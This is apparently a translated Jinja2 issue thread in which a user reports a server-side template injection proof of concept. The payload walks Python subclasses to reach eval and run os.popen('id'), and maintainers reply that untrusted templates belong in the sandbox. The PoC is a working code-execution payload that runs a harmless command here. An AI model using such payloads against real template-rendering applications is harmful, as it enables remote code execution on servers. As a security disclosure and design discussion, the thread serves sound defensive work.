Когда я использую структуру шаблонов Jinja2 в своем проекте, я нашел способ вызывать «os.popen ('id')» или другие функции без глобального регистра.
Получить оболочку легко, если злоумышленник может контролировать содержимое шаблона. Это такой дизайн?
PoC:
from jinja2 import Template
content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()
Я тестирую этот код с помощью python2 (2.7.10) и Jinja2 (2.8), если он работает, напечатает ваш пользовательский uid ...
Не следует выполнять ненадежные шаблоны в среде без песочницы. Именно поэтому существует песочница (и, честно говоря, даже с песочницей я бы не позволил пользователям предоставлять произвольные шаблоны Jinja)
Итак, нужно ли принимать меры для предотвращения этого случая? Я думаю, что есть какое-то конкретное приложение, которое позволит пользователям редактировать содержимое шаблона, но практических примеров нет.
Я думаю, что необходимо использовать песочницу по умолчанию, потому что Flask или другой веб-фреймворк, используемый Jinja2, этого не делают.
Зачем вам использовать песочницу по умолчанию? В большинстве случаев шаблоны не могут быть изменены недоверенными людьми, у которых все равно нет доступа к коду.
Есть случай удаленного выполнения кода через внедрение шаблона Flask / Jinja2 в Uber.
ссылка: http://www.tuicool.com/articles/uE3YNjY
Включение песочницы по умолчанию невозможно из-за обратной совместимости, а также нецелесообразно, потому что большинству шаблонов (во Flask) доверяют.
Самый полезный комментарий
Не следует выполнять ненадежные шаблоны в среде без песочницы. Именно поэтому существует песочница (и, честно говоря, даже с песочницей я бы не позволил пользователям предоставлять произвольные шаблоны Jinja)